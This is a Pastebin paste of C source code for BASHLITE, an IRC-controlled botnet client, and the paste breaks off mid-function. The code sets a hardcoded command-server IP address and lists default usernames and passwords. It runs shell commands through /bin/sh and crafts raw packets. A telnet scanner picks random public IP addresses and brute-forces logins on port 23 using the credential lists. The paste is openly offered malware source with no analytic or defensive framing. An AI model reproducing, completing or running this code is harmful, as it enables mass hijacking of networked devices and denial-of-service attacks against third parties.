Advertisement
Guest User

Untitled

a guest
Oct 22nd, 2017
368
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 51.24 KB | None | 0 0
  1. /*
  2. BASHLITE:
  3. This is the cross compiled bot
  4.  
  5. LICENSE:
  6. Public Domain
  7. */
  8.  
  9. /*
  10. THIS IS A BOT. AN IRC BOT.
  11. IT IS VERY TINY AND WILL NOT TAKE UP MUCH OF YOUR SPACE AND TIME.
  12. IT IS A VERY UNIVERSAL BOT. IT WILL WORK ON ALMOST ANYTHING YOU WANT IT TO WORK ON.
  13. THIS IS A BOT. AN IRC BOT.
  14. */
  15.  
  16.  
  17.  
  18. // ___ __ _
  19. // / \___ / _(_)_ __ ___ ___
  20. // / /\ / _ \ |_| | '_ \ / _ \/ __|
  21. // / /_// __/ _| | | | | __/\__ \
  22. // /___,' \___|_| |_|_| |_|\___||___/
  23.  
  24. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  25. #define PAD_RIGHT 1
  26. #define PAD_ZERO 2
  27. #define PRINT_BUF_LEN 12
  28. #define CMD_IAC 255
  29. #define CMD_WILL 251
  30. #define CMD_WONT 252
  31. #define CMD_DO 253
  32. #define CMD_DONT 254
  33. #define OPT_SGA 3
  34.  
  35. // _____ _ _
  36. // \_ \_ __ ___| |_ _ __| | ___ ___
  37. // / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
  38. // /\/ /_ | | | | (__| | |_| | (_| | __/\__ \
  39. // \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
  40.  
  41. #include <stdlib.h>
  42. #include <stdarg.h>
  43. #include <stdio.h>
  44. #include <sys/socket.h>
  45. #include <sys/types.h>
  46. #include <netinet/in.h>
  47. #include <arpa/inet.h>
  48. #include <netdb.h>
  49. #include <signal.h>
  50. #include <strings.h>
  51. #include <string.h>
  52. #include <sys/utsname.h>
  53. #include <unistd.h>
  54. #include <fcntl.h>
  55. #include <errno.h>
  56. #include <netinet/ip.h>
  57. #include <netinet/udp.h>
  58. #include <netinet/tcp.h>
  59. #include <sys/wait.h>
  60. #include <sys/ioctl.h>
  61. #include <net/if.h>
  62.  
  63. // ___ __ _
  64. // / __\___ _ __ / _(_) __ _
  65. // / / / _ \| '_ \| |_| |/ _` |
  66. // / /__| (_) | | | | _| | (_| |
  67. // \____/\___/|_| |_|_| |_|\__, |
  68. // |___/
  69.  
  70. unsigned char *commServer[] =
  71. {
  72. "66.225.225.66" //This is the IP of the command server (you'll need to change this)
  73. };
  74.  
  75. // ___ _
  76. // / __\ _ _ __ ___| |_(_) ___ _ __ ___
  77. // / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
  78. // / / | |_| | | | | (__| |_| | (_) | | | \__ \
  79. // \/ \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
  80.  
  81. int initConnection();
  82. int getBogos(unsigned char *bogomips);
  83. int getCores();
  84. int getCountry(unsigned char *buf, int bufsize);
  85. void makeRandomStr(unsigned char *buf, int length);
  86. int sockprintf(int sock, char *formatStr, ...);
  87. char *inet_ntoa(struct in_addr in);
  88.  
  89. // ___ _ _ _
  90. // / _ \ | ___ | |__ __ _| |___
  91. // / /_\/ |/ _ \| '_ \ / _` | / __|
  92. // / /_\\| | (_) | |_) | (_| | \__ \
  93. // \____/|_|\___/|_.__/ \__,_|_|___/
  94.  
  95. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  96. uint32_t *pids;
  97. uint32_t scanPid;
  98. uint64_t numpids = 0;
  99. struct in_addr ourIP;
  100. unsigned char macAddress[6] = {0};
  101. char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "guest\0"};
  102. char *passwords[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0"};
  103.  
  104. // ___ ___ __ __ ___
  105. // / __\/ _ \/__\ /\ \ \/ _ \
  106. // / _\ / /_)/ \// / \/ / /_\/
  107. // / / / ___/ _ \/ /\ / /_\\
  108. // \/ \/ \/ \_/\_\ \/\____/
  109.  
  110. #define PHI 0x9e3779b9
  111. static uint32_t Q[4096], c = 362436;
  112.  
  113. void init_rand(uint32_t x)
  114. {
  115. int i;
  116.  
  117. Q[0] = x;
  118. Q[1] = x + PHI;
  119. Q[2] = x + PHI + PHI;
  120.  
  121. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  122. }
  123.  
  124. uint32_t rand_cmwc(void)
  125. {
  126. uint64_t t, a = 18782LL;
  127. static uint32_t i = 4095;
  128. uint32_t x, r = 0xfffffffe;
  129. i = (i + 1) & 4095;
  130. t = a * Q[i] + c;
  131. c = (uint32_t)(t >> 32);
  132. x = t + c;
  133. if (x < c) {
  134. x++;
  135. c++;
  136. }
  137. return (Q[i] = r - x);
  138. }
  139.  
  140. // _ _ _
  141. // /\ /\| |_(_) |___
  142. // / / \ \ __| | / __|
  143. // \ \_/ / |_| | \__ \
  144. // \___/ \__|_|_|___/
  145.  
  146. void trim(char *str)
  147. {
  148. int i;
  149. int begin = 0;
  150. int end = strlen(str) - 1;
  151.  
  152. while (isspace(str[begin])) begin++;
  153.  
  154. while ((end >= begin) && isspace(str[end])) end--;
  155. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  156.  
  157. str[i - begin] = '\0';
  158. }
  159.  
  160. static void printchar(unsigned char **str, int c)
  161. {
  162. if (str) {
  163. **str = c;
  164. ++(*str);
  165. }
  166. else (void)write(1, &c, 1);
  167. }
  168.  
  169. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  170. {
  171. register int pc = 0, padchar = ' ';
  172.  
  173. if (width > 0) {
  174. register int len = 0;
  175. register const unsigned char *ptr;
  176. for (ptr = string; *ptr; ++ptr) ++len;
  177. if (len >= width) width = 0;
  178. else width -= len;
  179. if (pad & PAD_ZERO) padchar = '0';
  180. }
  181. if (!(pad & PAD_RIGHT)) {
  182. for ( ; width > 0; --width) {
  183. printchar (out, padchar);
  184. ++pc;
  185. }
  186. }
  187. for ( ; *string ; ++string) {
  188. printchar (out, *string);
  189. ++pc;
  190. }
  191. for ( ; width > 0; --width) {
  192. printchar (out, padchar);
  193. ++pc;
  194. }
  195.  
  196. return pc;
  197. }
  198.  
  199. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  200. {
  201. unsigned char print_buf[PRINT_BUF_LEN];
  202. register unsigned char *s;
  203. register int t, neg = 0, pc = 0;
  204. register unsigned int u = i;
  205.  
  206. if (i == 0) {
  207. print_buf[0] = '0';
  208. print_buf[1] = '\0';
  209. return prints (out, print_buf, width, pad);
  210. }
  211.  
  212. if (sg && b == 10 && i < 0) {
  213. neg = 1;
  214. u = -i;
  215. }
  216.  
  217. s = print_buf + PRINT_BUF_LEN-1;
  218. *s = '\0';
  219.  
  220. while (u) {
  221. t = u % b;
  222. if( t >= 10 )
  223. t += letbase - '0' - 10;
  224. *--s = t + '0';
  225. u /= b;
  226. }
  227.  
  228. if (neg) {
  229. if( width && (pad & PAD_ZERO) ) {
  230. printchar (out, '-');
  231. ++pc;
  232. --width;
  233. }
  234. else {
  235. *--s = '-';
  236. }
  237. }
  238.  
  239. return pc + prints (out, s, width, pad);
  240. }
  241.  
  242. static int print(unsigned char **out, const unsigned char *format, va_list args )
  243. {
  244. register int width, pad;
  245. register int pc = 0;
  246. unsigned char scr[2];
  247.  
  248. for (; *format != 0; ++format) {
  249. if (*format == '%') {
  250. ++format;
  251. width = pad = 0;
  252. if (*format == '\0') break;
  253. if (*format == '%') goto out;
  254. if (*format == '-') {
  255. ++format;
  256. pad = PAD_RIGHT;
  257. }
  258. while (*format == '0') {
  259. ++format;
  260. pad |= PAD_ZERO;
  261. }
  262. for ( ; *format >= '0' && *format <= '9'; ++format) {
  263. width *= 10;
  264. width += *format - '0';
  265. }
  266. if( *format == 's' ) {
  267. register char *s = (char *)va_arg( args, int );
  268. pc += prints (out, s?s:"(null)", width, pad);
  269. continue;
  270. }
  271. if( *format == 'd' ) {
  272. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  273. continue;
  274. }
  275. if( *format == 'x' ) {
  276. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  277. continue;
  278. }
  279. if( *format == 'X' ) {
  280. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  281. continue;
  282. }
  283. if( *format == 'u' ) {
  284. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  285. continue;
  286. }
  287. if( *format == 'c' ) {
  288. scr[0] = (unsigned char)va_arg( args, int );
  289. scr[1] = '\0';
  290. pc += prints (out, scr, width, pad);
  291. continue;
  292. }
  293. }
  294. else {
  295. out:
  296. printchar (out, *format);
  297. ++pc;
  298. }
  299. }
  300. if (out) **out = '\0';
  301. va_end( args );
  302. return pc;
  303. }
  304.  
  305. int zprintf(const unsigned char *format, ...)
  306. {
  307. va_list args;
  308. va_start( args, format );
  309. return print( 0, format, args );
  310. }
  311.  
  312. int szprintf(unsigned char *out, const unsigned char *format, ...)
  313. {
  314. va_list args;
  315. va_start( args, format );
  316. return print( &out, format, args );
  317. }
  318.  
  319.  
  320. int sockprintf(int sock, char *formatStr, ...)
  321. {
  322. unsigned char *textBuffer = malloc(2048);
  323. memset(textBuffer, 0, 2048);
  324. char *orig = textBuffer;
  325. va_list args;
  326. va_start(args, formatStr);
  327. print(&textBuffer, formatStr, args);
  328. va_end(args);
  329. orig[strlen(orig)] = '\n';
  330. zprintf("buf: %s\n", orig);
  331. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  332. free(orig);
  333. return q;
  334. }
  335.  
  336. static int *fdopen_pids;
  337.  
  338. int fdpopen(unsigned char *program, register unsigned char *type)
  339. {
  340. register int iop;
  341. int pdes[2], fds, pid;
  342.  
  343. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  344.  
  345. if (pipe(pdes) < 0) return -1;
  346. if (fdopen_pids == NULL) {
  347. if ((fds = getdtablesize()) <= 0) return -1;
  348. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  349. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  350. }
  351.  
  352. switch (pid = vfork())
  353. {
  354. case -1:
  355. close(pdes[0]);
  356. close(pdes[1]);
  357. return -1;
  358. case 0:
  359. if (*type == 'r') {
  360. if (pdes[1] != 1) {
  361. dup2(pdes[1], 1);
  362. close(pdes[1]);
  363. }
  364. close(pdes[0]);
  365. } else {
  366. if (pdes[0] != 0) {
  367. (void) dup2(pdes[0], 0);
  368. (void) close(pdes[0]);
  369. }
  370. (void) close(pdes[1]);
  371. }
  372. execl("/bin/sh", "sh", "-c", program, NULL);
  373. _exit(127);
  374. }
  375. if (*type == 'r') {
  376. iop = pdes[0];
  377. (void) close(pdes[1]);
  378. } else {
  379. iop = pdes[1];
  380. (void) close(pdes[0]);
  381. }
  382. fdopen_pids[iop] = pid;
  383. return (iop);
  384. }
  385.  
  386. int fdpclose(int iop)
  387. {
  388. register int fdes;
  389. sigset_t omask, nmask;
  390. int pstat;
  391. register int pid;
  392.  
  393. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  394. (void) close(iop);
  395. sigemptyset(&nmask);
  396. sigaddset(&nmask, SIGINT);
  397. sigaddset(&nmask, SIGQUIT);
  398. sigaddset(&nmask, SIGHUP);
  399. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  400. do {
  401. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  402. } while (pid == -1 && errno == EINTR);
  403. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  404. fdopen_pids[fdes] = 0;
  405. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  406. }
  407.  
  408. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  409. {
  410. int got = 1, total = 0;
  411. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  412. return got == 0 ? NULL : buffer;
  413. }
  414.  
  415. static const long hextable[] = {
  416. [0 ... 255] = -1,
  417. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  418. ['A'] = 10, 11, 12, 13, 14, 15,
  419. ['a'] = 10, 11, 12, 13, 14, 15
  420. };
  421.  
  422. long parseHex(unsigned char *hex)
  423. {
  424. long ret = 0;
  425. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  426. return ret;
  427. }
  428.  
  429. int wildString(const unsigned char* pattern, const unsigned char* string) {
  430. switch(*pattern)
  431. {
  432. case '\0': return *string;
  433. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  434. case '?': return !(*string && !wildString(pattern+1, string+1));
  435. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  436. }
  437. }
  438.  
  439. int getHost(unsigned char *toGet, struct in_addr *i)
  440. {
  441. struct hostent *h;
  442. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  443. return 0;
  444. }
  445.  
  446. void uppercase(unsigned char *str)
  447. {
  448. while(*str) { *str = toupper(*str); str++; }
  449. }
  450.  
  451. int getBogos(unsigned char *bogomips)
  452. {
  453. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  454. char linebuf[4096];
  455. while(fdgets(linebuf, 4096, cmdline) != NULL)
  456. {
  457. uppercase(linebuf);
  458. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  459. {
  460. unsigned char *pos = linebuf + 8;
  461. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  462. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  463. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  464. strcpy(bogomips, pos);
  465. close(cmdline);
  466. return 0;
  467. }
  468. memset(linebuf, 0, 4096);
  469. }
  470. close(cmdline);
  471. return 1;
  472. }
  473.  
  474. int getCores()
  475. {
  476. int totalcores = 0;
  477. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  478. char linebuf[4096];
  479. while(fdgets(linebuf, 4096, cmdline) != NULL)
  480. {
  481. uppercase(linebuf);
  482. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  483. memset(linebuf, 0, 4096);
  484. }
  485. close(cmdline);
  486. return totalcores;
  487.  
  488. }
  489.  
  490. void makeRandomStr(unsigned char *buf, int length)
  491. {
  492. int i = 0;
  493. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  494. }
  495.  
  496. int recvLine(int socket, unsigned char *buf, int bufsize)
  497. {
  498. memset(buf, 0, bufsize);
  499.  
  500. fd_set myset;
  501. struct timeval tv;
  502. tv.tv_sec = 30;
  503. tv.tv_usec = 0;
  504. FD_ZERO(&myset);
  505. FD_SET(socket, &myset);
  506. int selectRtn, retryCount;
  507. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  508. while(retryCount < 10)
  509. {
  510. sockprintf(mainCommSock, "PING");
  511.  
  512. tv.tv_sec = 30;
  513. tv.tv_usec = 0;
  514. FD_ZERO(&myset);
  515. FD_SET(socket, &myset);
  516. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  517. retryCount++;
  518. continue;
  519. }
  520.  
  521. break;
  522. }
  523. }
  524.  
  525. unsigned char tmpchr;
  526. unsigned char *cp;
  527. int count = 0;
  528.  
  529. cp = buf;
  530. while(bufsize-- > 1)
  531. {
  532. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  533. *cp = 0x00;
  534. return -1;
  535. }
  536. *cp++ = tmpchr;
  537. if(tmpchr == '\n') break;
  538. count++;
  539. }
  540. *cp = 0x00;
  541.  
  542. zprintf("recv: %s\n", cp);
  543.  
  544. return count;
  545. }
  546.  
  547. int connectTimeout(int fd, char *host, int port, int timeout)
  548. {
  549. struct sockaddr_in dest_addr;
  550. fd_set myset;
  551. struct timeval tv;
  552. socklen_t lon;
  553.  
  554. int valopt;
  555. long arg = fcntl(fd, F_GETFL, NULL);
  556. arg |= O_NONBLOCK;
  557. fcntl(fd, F_SETFL, arg);
  558.  
  559. dest_addr.sin_family = AF_INET;
  560. dest_addr.sin_port = htons(port);
  561. if(getHost(host, &dest_addr.sin_addr)) return 0;
  562. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  563. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  564.  
  565. if (res < 0) {
  566. if (errno == EINPROGRESS) {
  567. tv.tv_sec = timeout;
  568. tv.tv_usec = 0;
  569. FD_ZERO(&myset);
  570. FD_SET(fd, &myset);
  571. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  572. lon = sizeof(int);
  573. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  574. if (valopt) return 0;
  575. }
  576. else return 0;
  577. }
  578. else return 0;
  579. }
  580.  
  581. arg = fcntl(fd, F_GETFL, NULL);
  582. arg &= (~O_NONBLOCK);
  583. fcntl(fd, F_SETFL, arg);
  584.  
  585. return 1;
  586. }
  587.  
  588. int listFork()
  589. {
  590. uint32_t parent, *newpids, i;
  591. parent = fork();
  592. if (parent <= 0) return parent;
  593. numpids++;
  594. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  595. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  596. newpids[numpids - 1] = parent;
  597. free(pids);
  598. pids = newpids;
  599. return parent;
  600. }
  601.  
  602. int negotiate(int sock, unsigned char *buf, int len)
  603. {
  604. unsigned char c;
  605.  
  606. switch (buf[1]) {
  607. case CMD_IAC: /*dropped an extra 0xFF whoops*/ return 0;
  608. case CMD_WILL:
  609. case CMD_WONT:
  610. case CMD_DO:
  611. case CMD_DONT:
  612. c = CMD_IAC;
  613. send(sock, &c, 1, MSG_NOSIGNAL);
  614. if (CMD_WONT == buf[1]) c = CMD_DONT;
  615. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  616. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  617. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  618. send(sock, &c, 1, MSG_NOSIGNAL);
  619. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  620. break;
  621.  
  622. default:
  623. break;
  624. }
  625.  
  626. return 0;
  627. }
  628.  
  629. int matchPrompt(char *bufStr)
  630. {
  631. char *prompts = ":>%$#\0";
  632.  
  633. int bufLen = strlen(bufStr);
  634. int i, q = 0;
  635. for(i = 0; i < strlen(prompts); i++)
  636. {
  637. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  638. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  639. }
  640.  
  641. return 0;
  642. }
  643.  
  644. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  645. {
  646. int bufferUsed = initialIndex, got = 0, found = 0;
  647. fd_set myset;
  648. struct timeval tv;
  649. tv.tv_sec = timeout;
  650. tv.tv_usec = timeoutusec;
  651. unsigned char *initialRead = NULL;
  652.  
  653. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  654. {
  655. FD_ZERO(&myset);
  656. FD_SET(fd, &myset);
  657. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  658. initialRead = buffer + bufferUsed;
  659. got = recv(fd, initialRead, 1, 0);
  660. if(got == -1 || got == 0) return 0;
  661. bufferUsed += got;
  662. if(*initialRead == 0xFF)
  663. {
  664. got = recv(fd, initialRead + 1, 2, 0);
  665. if(got == -1 || got == 0) return 0;
  666. bufferUsed += got;
  667. if(!negotiate(fd, initialRead, 3)) return 0;
  668. } else {
  669. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  670. }
  671. }
  672.  
  673. if(found) return 1;
  674. return 0;
  675. }
  676.  
  677. // _____ ___ _ _ _
  678. // \_ \/ _ \ /\ /\| |_(_) |___
  679. // / /\/ /_)/ / / \ \ __| | / __|
  680. // /\/ /_/ ___/ \ \_/ / |_| | \__ \
  681. // \____/\/ \___/ \__|_|_|___/
  682.  
  683. static uint8_t ipState[5] = {0}; //starting from 1 because you only live once
  684. in_addr_t getRandomPublicIP()
  685. {
  686. if(ipState[1] > 0 && ipState[4] < 255)
  687. {
  688. ipState[4]++;
  689. char ip[16] = {0};
  690. szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  691. return inet_addr(ip);
  692. }
  693.  
  694. ipState[1] = rand() % 255;
  695. ipState[2] = rand() % 255;
  696. ipState[3] = rand() % 255;
  697. ipState[4] = 0;
  698. while(
  699. (ipState[1] == 0) ||
  700. (ipState[1] == 10) ||
  701. (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
  702. (ipState[1] == 127) ||
  703. (ipState[1] == 169 && ipState[2] == 254) ||
  704. (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  705. (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  706. (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  707. (ipState[1] == 192 && ipState[2] == 168) ||
  708. (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  709. (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  710. (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  711. (ipState[1] >= 224)
  712. )
  713. {
  714. ipState[1] = rand() % 255;
  715. ipState[2] = rand() % 255;
  716. ipState[3] = rand() % 255;
  717. }
  718.  
  719. char ip[16] = {0};
  720. szprintf(ip, "%d.%d.%d.0", ipState[1], ipState[2], ipState[3]);
  721. return inet_addr(ip);
  722. }
  723.  
  724. in_addr_t getRandomIP(in_addr_t netmask)
  725. {
  726. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  727. return tmp ^ ( rand_cmwc() & ~netmask);
  728. }
  729.  
  730. unsigned short csum (unsigned short *buf, int count)
  731. {
  732. register uint64_t sum = 0;
  733. while( count > 1 ) { sum += *buf++; count -= 2; }
  734. if(count > 0) { sum += *(unsigned char *)buf; }
  735. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  736. return (uint16_t)(~sum);
  737. }
  738.  
  739. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  740. {
  741.  
  742. struct tcp_pseudo
  743. {
  744. unsigned long src_addr;
  745. unsigned long dst_addr;
  746. unsigned char zero;
  747. unsigned char proto;
  748. unsigned short length;
  749. } pseudohead;
  750. unsigned short total_len = iph->tot_len;
  751. pseudohead.src_addr=iph->saddr;
  752. pseudohead.dst_addr=iph->daddr;
  753. pseudohead.zero=0;
  754. pseudohead.proto=IPPROTO_TCP;
  755. pseudohead.length=htons(sizeof(struct tcphdr));
  756. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  757. unsigned short *tcp = malloc(totaltcp_len);
  758. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  759. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  760. unsigned short output = csum(tcp,totaltcp_len);
  761. free(tcp);
  762. return output;
  763. }
  764.  
  765. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  766. {
  767. iph->ihl = 5;
  768. iph->version = 4;
  769. iph->tos = 0;
  770. iph->tot_len = sizeof(struct iphdr) + packetSize;
  771. iph->id = rand_cmwc();
  772. iph->frag_off = 0;
  773. iph->ttl = MAXTTL;
  774. iph->protocol = protocol;
  775. iph->check = 0;
  776. iph->saddr = source;
  777. iph->daddr = dest;
  778. }
  779.  
  780. int sclose(int fd)
  781. {
  782. if(3 > fd) return 1;
  783. close(fd);
  784. return 0;
  785. }
  786.  
  787. // _____ _ _ __ _ _
  788. // /__ \___| |_ __ ___| |_ / _\ ___ __ _ _ __ _ __ ___ _ __ | | ___| |
  789. // / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |
  790. // / / | __/ | | | | __/ |_ _\ \ (_| (_| | | | | | | | __/ | | | __/ |
  791. // \/ \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_| |_|\___|_|
  792.  
  793. void StartTheLelz()
  794. {
  795. int max = (getdtablesize() / 4) * 3, i, res;
  796. fd_set myset;
  797. struct timeval tv;
  798. socklen_t lon;
  799. int valopt;
  800.  
  801. max = max > 512 ? 512 : max;
  802.  
  803. struct sockaddr_in dest_addr;
  804. dest_addr.sin_family = AF_INET;
  805. dest_addr.sin_port = htons(23);
  806. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  807.  
  808. struct telstate_t
  809. {
  810. int fd;
  811. uint32_t ip;
  812. uint8_t state;
  813. uint8_t complete;
  814. uint8_t usernameInd;
  815. uint8_t passwordInd;
  816. uint32_t totalTimeout;
  817. uint16_t bufUsed;
  818. char *sockbuf;
  819. } fds[max];
  820. memset(fds, 0, max * (sizeof(int) + 1));
  821. for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  822.  
  823. while(1)
  824. {
  825. for(i = 0; i < max; i++)
  826. {
  827. switch(fds[i].state)
  828. {
  829. case 0:
  830. {
  831. memset(fds[i].sockbuf, 0, 1024);
  832.  
  833. if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  834. else {
  835. fds[i].passwordInd++;
  836. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  837. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  838. }
  839. dest_addr.sin_family = AF_INET;
  840. dest_addr.sin_port = htons(23);
  841. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  842. dest_addr.sin_addr.s_addr = fds[i].ip;
  843. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  844. if(fds[i].fd == -1) { continue; }
  845. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  846. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { sclose(fds[i].fd); fds[i].complete = 1; }
  847. else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  848. }
  849. break;
  850.  
  851. case 1:
  852. {
  853. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  854.  
  855. FD_ZERO(&myset);
  856. FD_SET(fds[i].fd, &myset);
  857. tv.tv_sec = 0;
  858. tv.tv_usec = 10000;
  859. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  860. if(res == 1)
  861. {
  862. lon = sizeof(int);
  863. valopt = 0;
  864. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  865. if(valopt)
  866. {
  867. sclose(fds[i].fd);
  868. fds[i].state = 0;
  869. fds[i].complete = 1;
  870. } else {
  871. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  872. fds[i].totalTimeout = 0;
  873. fds[i].bufUsed = 0;
  874. memset(fds[i].sockbuf, 0, 1024);
  875. fds[i].state = 2;
  876. continue;
  877. }
  878. } else if(res == -1)
  879. {
  880. sclose(fds[i].fd);
  881. fds[i].state = 0;
  882. fds[i].complete = 1;
  883. }
  884.  
  885. if(fds[i].totalTimeout + 10 < time(NULL))
  886. {
  887. sclose(fds[i].fd);
  888. fds[i].state = 0;
  889. fds[i].complete = 1;
  890. }
  891. }
  892. break;
  893.  
  894. case 2:
  895. {
  896. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  897.  
  898. if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  899. {
  900. fds[i].totalTimeout = 0;
  901. fds[i].bufUsed = 0;
  902. memset(fds[i].sockbuf, 0, 1024);
  903. fds[i].state = 3;
  904. continue;
  905. } else {
  906. fds[i].bufUsed = strlen(fds[i].sockbuf);
  907. }
  908.  
  909. if(fds[i].totalTimeout + 30 < time(NULL))
  910. {
  911. sclose(fds[i].fd);
  912. fds[i].state = 0;
  913. fds[i].complete = 1;
  914. }
  915. }
  916. break;
  917.  
  918. case 3:
  919. {
  920. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  921. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  922. fds[i].state = 4;
  923. }
  924. break;
  925.  
  926. case 4:
  927. {
  928. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  929.  
  930. if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  931. {
